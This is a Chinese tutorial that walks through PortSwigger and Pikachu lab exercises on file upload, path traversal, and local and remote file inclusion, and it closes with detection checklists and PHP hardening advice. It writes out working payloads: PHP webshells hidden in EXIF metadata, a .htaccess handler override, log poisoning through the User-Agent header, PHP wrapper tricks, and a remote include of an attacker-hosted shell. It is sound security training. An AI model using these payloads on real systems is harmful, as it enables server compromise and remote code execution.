文件包含漏洞完全實(shí)戰(zhàn)教程前置要求已搭建 Kali Burp Suite了解 PHP include() 函數(shù)基礎(chǔ)實(shí)驗(yàn)環(huán)境PortSwigger Web Security Academy Pikachu 靶場(chǎng)目錄前置知識(shí)什么是文件包含漏洞實(shí)驗(yàn)環(huán)境準(zhǔn)備Lab 1Polyglot 圖片馬文件包含Lab 2擴(kuò)展名黑名單繞過(guò).htaccessLab 3路徑遍歷Pikachu本地文件包含LFIPikachu遠(yuǎn)程文件包含RFI真實(shí)場(chǎng)景中的攻擊思路真實(shí)場(chǎng)景中的漏洞檢測(cè)防御方案與代碼審計(jì)要點(diǎn)一、前置知識(shí)什么是文件包含漏洞1.1 文件包含的正常用途開發(fā)中常用include()/require()復(fù)用代碼?php// 正常用法包含頁(yè)頭include(header.php);// 動(dòng)態(tài)包含根據(jù)用戶選擇加載不同頁(yè)面$page$_GET[page];include($page);// ?? 危險(xiǎn)用戶可控?1.2 LFI vs. RFI類型全稱利用條件危害LFILocal File Inclusion包含本地文件讀取/etc/passwd、配合圖片馬 getshellRFIRemote File Inclusionallow_url_include On直接包含遠(yuǎn)程 webshell一鍵 RCE1.3 為什么和文件上傳是黃金組合上次實(shí)驗(yàn)上傳了圖片馬PHP 代碼嵌入圖片但如果上傳目錄禁止 PHP 執(zhí)行webshell 無(wú)法觸發(fā)。文件包含的破局作用// 目標(biāo)網(wǎng)站存在文件包含漏洞$page$_GET[page];include($page);// 攻擊者請(qǐng)求GET/vul/include.php?pageuploads/shell.jpg雖然shell.jpg擴(kuò)展名是圖片但include()函數(shù)會(huì)把文件內(nèi)容當(dāng)作 PHP 代碼解析執(zhí)行從而觸發(fā)嵌入的 webshell。這就是文件包含 文件上傳 黃金組合的原因。1.4 include() 函數(shù)的行為被包含的文件include() 的處理方式.php文件執(zhí)行其中的 PHP 代碼.txt文件直接輸出文件內(nèi)容/etc/passwd直接輸出系統(tǒng)文件內(nèi)容圖片文件含 PHP 代碼執(zhí)行嵌入的 PHP 代碼二、實(shí)驗(yàn)環(huán)境準(zhǔn)備2.1 工具清單工具用途狀態(tài)Burp Suite ProfessionalHTTP 代理、攔截、改包、Repeater已安裝Firefox FoxyProxy設(shè)置瀏覽器代理到 Burp已配置PortSwigger 賬號(hào)訪問(wèn)在線靶場(chǎng)已注冊(cè)Pikachu 靶場(chǎng)本地漏洞練習(xí)平臺(tái)已部署exiftool制作 Polyglot 圖片馬Kali 自帶Python 33搭建臨時(shí) HTTP 服務(wù)器已安裝2.2 創(chuàng)建測(cè)試文件文件 1exploit.php用于讀取 secret?phpechofile_get_contents(/home/carlos/secret);?文件 2shell.php用于命令執(zhí)行?phpsystem($_GET[cmd]);?三Lab 1: Polyglot 圖片馬 文件包含含3.1 實(shí)驗(yàn)?zāi)繕?biāo)文件內(nèi)容校驗(yàn)Magic Bytes的繞過(guò)方法。后端檢查文件是否為真實(shí)圖片但未剝離 EXIF 元數(shù)據(jù)中的 PHP 代碼。。3.2 進(jìn)入實(shí)驗(yàn)室在 PortSwigger 的“File upload vulnerabilities”路徑中找到“Remote code execution via polyglot web shell upload”3.3 準(zhǔn)備圖片在 Kali 終端執(zhí)行# 下載測(cè)試圖片wgethttps://portswigger.net/web-security/images/stickman.jpg-O/tmp/image.jpg# 或者用系統(tǒng)自帶圖片find/usr/share-name*.jpg|head-13.4 用 exiftool 制作 Polyglot 文件核心原理exiftool 可以在圖片的EXIF Comment 元數(shù)據(jù)中插入 PHP 代碼然后輸出為.php擴(kuò)展名。這個(gè)文件對(duì)圖片查看器來(lái)說(shuō)是一張正常的 JPEG 圖片文件頭FF D8 FF正確對(duì) PHP 解釋器來(lái)說(shuō)包含?php ... ?代碼可以執(zhí)行在 Kali 終端執(zhí)行exiftool-Comment?php echo START . file_get_contents(/home/carlos/secret) . END; ?/tmp/image.jpg-o/tmp/polyglot.php參數(shù)解釋-Comment...在圖片的 EXIF Comment 字段中寫入 PHP 代碼image.jpg輸入的原始圖片-o polyglot.php輸出文件名為polyglot.php為什么加 START 和 END因?yàn)榉祷氐捻憫?yīng)中包含大量圖片二進(jìn)制亂碼用 START/END 做標(biāo)記可以方便地在亂碼中定位 secret。3.5 驗(yàn)證 polyglot.phpexiftool /tmp/polyglot.php|grepComment預(yù)期輸出Comment : ?php echo START . file_get_contents(/home/carlos/secret) . END; ?3.6 上傳 polyglot.php登錄實(shí)驗(yàn)室賬戶wiener / peter進(jìn)入My account頁(yè)面點(diǎn)擊Browse…選擇/tmp/polyglot.php點(diǎn)擊Upload此時(shí)發(fā)生了什么服務(wù)器檢查文件內(nèi)容看到文件頭FF D8 FFJPEG 的 Magic Bytes認(rèn)為這是一張真實(shí)圖片于是放行。但它沒(méi)有進(jìn)一步剝離 EXIF 元數(shù)據(jù)中的 PHP 代碼。3.7 用 Repeater 獲取 Secret上傳成功后文件保存在/files/avatars/polyglot.php。Burp →Proxy → HTTP history找到獲取頭像的 GET 請(qǐng)求GET /files/avatars/xxx.jpg右鍵 →“Send to Repeater”切換到Repeater標(biāo)簽把請(qǐng)求路徑改成GET /files/avatars/polyglot.php HTTP/2點(diǎn)擊Send查找 SecretResponse 中會(huì)混雜大量圖片二進(jìn)制亂碼按CtrlF搜索START在START和END之間就是 Carlos 的 secret3.8 提交 Secret復(fù)制 Repeater 響應(yīng)面板中的 secret 字符串回到實(shí)驗(yàn)室頁(yè)面點(diǎn)擊“Submit solution”粘貼 secret提交頁(yè)面顯示“Congratulations, you solved the lab!”3.9 本實(shí)驗(yàn)原理總結(jié)image.jpg (合法JPEG) PHP代碼 ──→ exiftool 寫入 Comment 字段 ──→ polyglot.php ↓ 文件頭: FF D8 FF (JPEG) ? 通過(guò)校驗(yàn) 內(nèi)容: ?php ... ? (PHP代碼) ↓ 服務(wù)器保存為 polyglot.php ↓ 訪問(wèn)該文件 → PHP解釋器掃描整個(gè)文件 ↓ 找到 ?php ... ? 并執(zhí)行 ↓ 輸出 Carlos 的 secret漏洞本質(zhì)文件內(nèi)容校驗(yàn)Magic Bytes只能驗(yàn)證文件類型不能防止在元數(shù)據(jù)EXIF中嵌入惡意代碼。四、Lab 2擴(kuò)展名黑名單繞過(guò).htaccess4.1 實(shí)驗(yàn)?zāi)繕?biāo)理解黑名單防御的脆弱性。后端禁止.php、.phtml、.php5但允許.htaccess上傳且 Apache 會(huì)解析.htaccess配置。4.2 進(jìn)入實(shí)驗(yàn)室在 PortSwigger 中找到“Web shell upload via extension blacklist bypass”4.3 嘗試直接上傳 PHP創(chuàng)建shell.phpecho?php echo file_get_contents(/home/carlos/secret); ?/tmp/shell.php直接上傳預(yù)期結(jié)果上傳失敗提示 “Sorry, php files are not allowed”。4.4 嘗試 .php5創(chuàng)建并上傳shell.php5echo?php echo file_get_contents(/home/carlos/secret); ?/tmp/shell.php5預(yù)期結(jié)果上傳成功但訪問(wèn)時(shí)返回 PHP 源碼純文本目錄禁止 PHP 執(zhí)行。4.5 上傳 .htaccess 文件核心原理Apache 服務(wù)器允許通過(guò).htaccess文件在每個(gè)目錄下覆蓋全局配置。上傳.htaccess后可以讓服務(wù)器把任意擴(kuò)展名如.l33t當(dāng)作 PHP 執(zhí)行。創(chuàng)建 .htaccessechoAddType application/x-httpd-php .l33t/tmp/.htaccess上傳步驟關(guān)鍵開啟 Burp 攔截在實(shí)驗(yàn)室頁(yè)面準(zhǔn)備一張正常圖片點(diǎn)擊 UploadBurp 攔截到 POST 請(qǐng)求做以下修改把filenamexxx.jpg改成filename.htaccess把Content-Type改成text/plain把請(qǐng)求體中的圖片二進(jìn)制內(nèi)容刪掉改成AddType application/x-httpd-php .l33t點(diǎn)擊Forward放行為什么從正常圖片請(qǐng)求修改直接選擇.htaccess上傳時(shí)前端可能不生成 CSRF token導(dǎo)致 “Missing parameter ‘csrf’” 錯(cuò)誤。從正常圖片請(qǐng)求修改可以保留完整的表單結(jié)構(gòu)。4.6 驗(yàn)證 .htaccess 上傳成功頁(yè)面顯示The file avatars/.htaccess has been uploaded.4.7 上傳 exploit.l33t創(chuàng)建 exploit.l33techo?php echo file_get_contents(/home/carlos/secret); ?/tmp/exploit.l33t上傳選擇/tmp/exploit.l33t點(diǎn)擊 Upload如果 Burp 攔截把Content-Type改成image/jpegForward 放行4.8 讀取 Secret在 Repeater 中發(fā)送GET /files/avatars/exploit.l33t HTTP/2由于.htaccess的配置.l33t文件會(huì)被當(dāng)作 PHP 執(zhí)行返回 Carlos 的 secret。4.9 本實(shí)驗(yàn)原理總結(jié)后端黑名單禁止 .php, .phtml, .php5 ↓ 攻擊者上傳 .htaccess AddType application/x-httpd-php .l33t ↓ Apache 讀取 .htaccess → 該目錄下 .l33t 文件由 PHP 解釋器處理 ↓ 上傳 exploit.l33t內(nèi)容?php ... ? ↓ 訪問(wèn) /files/avatars/exploit.l33t → PHP 執(zhí)行 → 讀取 secret漏洞本質(zhì)黑名單永遠(yuǎn)不完整.htaccess配置覆蓋是繞過(guò)黑名單的強(qiáng)大手段。#Lab 3: b 3路徑遍歷5.1 實(shí)驗(yàn)?zāi)繕?biāo)利用**路徑遍歷Path Traversal**漏洞通過(guò)../讀取服務(wù)器上的任意文件。5.2 進(jìn)入實(shí)驗(yàn)室在 PortSwigge**“Path Traversal”** 路徑中找到**“File path traversal, simple case”e5.3 找到圖片加載接口操作在頁(yè)面上右鍵點(diǎn)擊任意商品圖片2.“檢查”Inspectect查看圖片的src屬性預(yù)期格式img src/image?filenameavatar.jpg5.4 Burp Repeater 修改請(qǐng)求操作Burp →Proxy → HTTP history找到加載圖片的 GET 請(qǐng)求如GET /image?filenameavatar.jpg右鍵 →Send to Repeater把請(qǐng)求改成GET /image?filename../../../etc/passwd HTTP/2點(diǎn)擊Send原理后端代碼大概長(zhǎng)這樣$filename$_GET[filename];readfile(/var/www/images/.$filename);當(dāng)filename../../../etc/passwd時(shí)/var/www/images/../../../etc/passwd /etc/passwd成功讀取系統(tǒng)敏感文件5.5 本實(shí)驗(yàn)原理總結(jié)正常請(qǐng)求攻擊請(qǐng)求filenameavatar.jpgfilename../../../etc/passwd讀取/var/www/images/avatar.jpg讀取/etc/passwd顯示圖片泄露系統(tǒng)敏感信息漏洞本質(zhì)后端直接把用戶輸入拼接到文件路徑未過(guò)濾../目錄遍歷序列。六、Pikachu本地文件包含LFI6.1 進(jìn)入靶場(chǎng)訪問(wèn)http://localhost/pikachu/vul/fileinclude/fi_local.php6.2 分析后端代碼查看源碼cat/var/www/html/pikachu/vul/fileinclude/fi_local.php關(guān)鍵代碼includeinclude/$filename;6.3 計(jì)算路徑遍歷層級(jí)從include/目錄到根目錄//var/www/html/pikachu/vul/fileinclude/include/ ├── 退1級(jí) → fileinclude/ ├── 退2級(jí) → vul/ ├── 退3級(jí) → pikachu/ ├── 退4級(jí) → html/ ├── 退5級(jí) → www/ ├── 退6級(jí) → var/ └── 退7級(jí) → /需要7 個(gè)../才能到達(dá)根目錄6.4 讀取 /etc/passwd瀏覽器訪問(wèn)http://localhost/pikachu/vul/fileinclude/fi_local.php?filename../../../../../../../etc/passwdsubmit提交查詢6.5 本實(shí)驗(yàn)原理總結(jié)參數(shù)實(shí)際包含路徑結(jié)果file1.phpinclude/file1.php? 正常../../../etc/passwd(3個(gè))include/../../../etc/passwd/var/www/html/pikachu/etc/passwd? 不存在../../../../../../../etc/passwd(7個(gè))include/../../../../../../../etc/passwd/etc/passwd?成功關(guān)鍵教訓(xùn)即使后端加了固定目錄前綴路徑遍歷仍然可以突破目錄邊界。必須計(jì)算準(zhǔn)確的../層級(jí)。七、Pikachu遠(yuǎn)程文件包含RFI7.1 環(huán)境配置Pikachu 默認(rèn)allow_url_include Off需要先開啟# 1. 編輯 php.inisudonano/etc/php/8.4/apache2/php.ini# 2. 修改以下兩行allow_url_includeOn allow_url_fopenOn# 3. 重啟 Apachesudosystemctl restart apache27.2 搭建遠(yuǎn)程 Web 服務(wù)器在 Kali 終端執(zhí)行cd/tmpecho?php phpinfo(); ?shell.txt python3-mhttp.server88887.3 查看 Kali IPipaddr|grepinet 找到你的 IP如192.168.2.124。7.4 觸發(fā) RFI瀏覽器訪問(wèn)http://localhost/pikachu/vul/fileinclude/fi_remote.php?filenamehttp://192.168.2.124:8888/shell.txtsubmit提交查詢預(yù)期結(jié)果頁(yè)面顯示完整的phpinfo()輸出證明遠(yuǎn)程文件被包含并執(zhí)行了 PHP 代碼7.5 如果是真正的 Webshell把shell.txt改成?phpsystem($_GET[cmd]);?然后訪問(wèn)?filenamehttp://192.168.2.124:8888/shell.txtcmdwhoami即可執(zhí)行任意命令7.6 恢復(fù)安全配置重要實(shí)驗(yàn)完成后務(wù)必關(guān)閉sudonano/etc/php/8.4/apache2/php.ini# 改回allow_url_includeOff allow_url_fopenOffsudosystemctl restart apache27.7 本實(shí)驗(yàn)原理總結(jié)攻擊機(jī)Kali 192.168.2.124 ├── python3 -m http.server 8888 └── shell.txt (內(nèi)容?php phpinfo(); ?) ↓ HTTP 請(qǐng)求 受害者Pikachu localhost ├── PHP include(http://192.168.2.124:8888/shell.txt) ├── 遠(yuǎn)程下載 shell.txt └── 執(zhí)行 phpinfo() → 返回配置信息漏洞本質(zhì)allow_url_include On時(shí)include()可以加載遠(yuǎn)程 URL 并執(zhí)行其中的 PHP 代碼。攻擊者只需控制一個(gè) HTTP 服務(wù)器就能讓目標(biāo)服務(wù)器執(zhí)行任意代碼。八、真實(shí)場(chǎng)景中的攻擊思路8.1 攻擊目的階段目標(biāo)具體操作信息收集了解目標(biāo)環(huán)境?page../../../etc/passwd讀取系統(tǒng)用戶配置泄露獲取數(shù)據(jù)庫(kù)密碼?page../../../var/www/html/config.php讀取源碼日志投毒寫入惡意代碼在 User-Agent 中寫 PHP 代碼然后包含日志文件圖片馬觸發(fā)配合文件上傳 getshell上傳圖片馬 → 文件包含觸發(fā) → 獲得 RCESession 包含利用可控的 Session 文件在可控字段寫 PHP 代碼包含 Session 文件PHP 封裝器讀取源碼而不執(zhí)行php://filter/readconvert.base64-encode/resourceconfig.php8.2 典型攻擊鏈LFI → RCE1. 發(fā)現(xiàn) LFI 漏洞 └─ ?pagefile1.php 可以改成任意文件 2. 信息收集 └─ ?page../../../etc/passwd → 確認(rèn)存在 LFI 3. 尋找可寫的日志/Session └─ ?page../../../var/log/apache2/access.log 4. 日志投毒 └─ 在請(qǐng)求頭中注入 PHP 代碼 User-Agent: ?php system($_GET[cmd]); ? 5. 包含日志文件觸發(fā)代碼 └─ ?page../../../var/log/apache2/access.logcmdwhoami 6. 獲得 RCE └─ 執(zhí)行任意命令進(jìn)一步反彈 Shell8.3 PHP 封裝器利用讀取源碼不執(zhí)行?pagephp://filter/readconvert.base64-encode/resourceconfig.php執(zhí)行系統(tǒng)命令?pagephp://input POST 數(shù)據(jù)?php system(whoami); ?包含 Data URI?pagedata://text/plain,?php phpinfo(); ?九、真實(shí)場(chǎng)景中的漏洞檢測(cè)9.1 黑盒測(cè)試發(fā)現(xiàn)包含點(diǎn)位置示例參數(shù)頁(yè)面加載?pageabout?fileheader?modulenews語(yǔ)言切換?langen?languagezh主題/模板?themedefault?templateindex文件下載?downloadmanual.pdf基礎(chǔ)測(cè)試清單□ 基礎(chǔ)測(cè)試?page../../../etc/passwd □ Windows 測(cè)試?page..\..\..\windows\system32\drivers\etc\hosts □ 空字節(jié)截?cái)郟HP 5.3.4?page../../../etc/passwd%00 □ 雙寫繞過(guò)?page....//....//....//etc/passwd □ PHP 封裝器?pagephp://filter/readconvert.base64-encode/resourceindex.php □ 遠(yuǎn)程包含?pagehttp://攻擊者.com/shell.txt9.2 白盒代碼審計(jì)危險(xiǎn)函數(shù)識(shí)別include($file)include_once($file)require($file)require_once($file)檢查清單檢查項(xiàng)危險(xiǎn)代碼安全代碼是否使用用戶輸入include($_GET[page])?include(fixed_page.php)?是否加了固定前綴include(pages/ . $_GET[page])?仍可遍歷include(pages/ . basename($_GET[page]))?是否有白名單無(wú) ?if (in_array($page, $allowed))?allow_url_includeOn?Off?open_basedir未設(shè)置 ?open_basedir /var/www/html?十、防御方案與代碼審計(jì)要點(diǎn)10.1 防御金字塔┌─────────────┐ │ 關(guān)閉 allow_url_include │ ← 最強(qiáng)杜絕 RFI │ (php.ini) │ ├─────────────┤ │ 白名單控制 │ ← 只允許預(yù)定義文件 ├─────────────┤ │ open_basedir │ ← 限制 PHP 可訪問(wèn)目錄 ├─────────────┤ │ basename() 過(guò)濾 │ ← 去除路徑遍歷字符 └─────────────┘10.2 安全代碼示例?php// ? 安全的文件包含白名單 固定目錄$allowed_pages[home,about,contact];$page$_GET[page]??home;if(!in_array($page,$allowed_pages)){die(Invalid page);}include(/var/www/pages/.$page..php);?10.3 PHP 配置加固; php.ini allow_url_include Off allow_url_fopen Off open_basedir /var/www/html:/tmp10.4 Nginx/Apache 配置# Nginx限制 PHP 包含路徑 location ~ \.php$ { fastcgi_param PHP_VALUE open_basedir/var/www/html:/tmp; }十一、總結(jié)實(shí)驗(yàn)防御機(jī)制繞過(guò)/利用手法學(xué)到的核心原理Polyglot文件內(nèi)容校驗(yàn)Magic BytesEXIF 元數(shù)據(jù)嵌入 PHP 代碼元數(shù)據(jù)校驗(yàn)不可忽略Blacklist擴(kuò)展名黑名單.htaccess 配置覆蓋 自定義擴(kuò)展名黑名單永遠(yuǎn)不完整Path Traversal無(wú)過(guò)濾../../../etc/passwd路徑拼接必須過(guò)濾遍歷序列Pikachu LFI固定目錄前綴7個(gè)../穿越到根目錄前綴不能阻止路徑遍歷Pikachu RFIallow_url_includeOn遠(yuǎn)程包含 Kali 的 shell.txtRFI 直接 getshell必須關(guān)閉配置開關(guān)核心原則永遠(yuǎn)不要使用用戶輸入直接作為 include 參數(shù)—— 所有 include 參數(shù)必須白名單控制關(guān)閉allow_url_include—— 這是杜絕 RFI 的最有效手段縱深防御—— 白名單 目錄限制 配置加固多層防護(hù)